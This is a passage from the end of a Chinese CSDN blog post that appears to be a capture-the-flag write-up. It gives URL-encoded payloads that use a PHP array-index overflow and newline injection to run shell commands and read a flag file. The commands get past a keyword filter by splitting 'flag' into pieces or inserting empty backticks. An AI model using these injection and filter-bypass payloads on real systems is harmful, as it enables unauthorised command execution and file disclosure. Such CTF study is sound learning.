stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac tac /tmp/hello
在这里插入图片描述
方法3. (反单引号绕过)

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac+/fla``g

在这里插入图片描述

持续更新

  • 0
    点赞
  • 0
    评论
  • 5
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值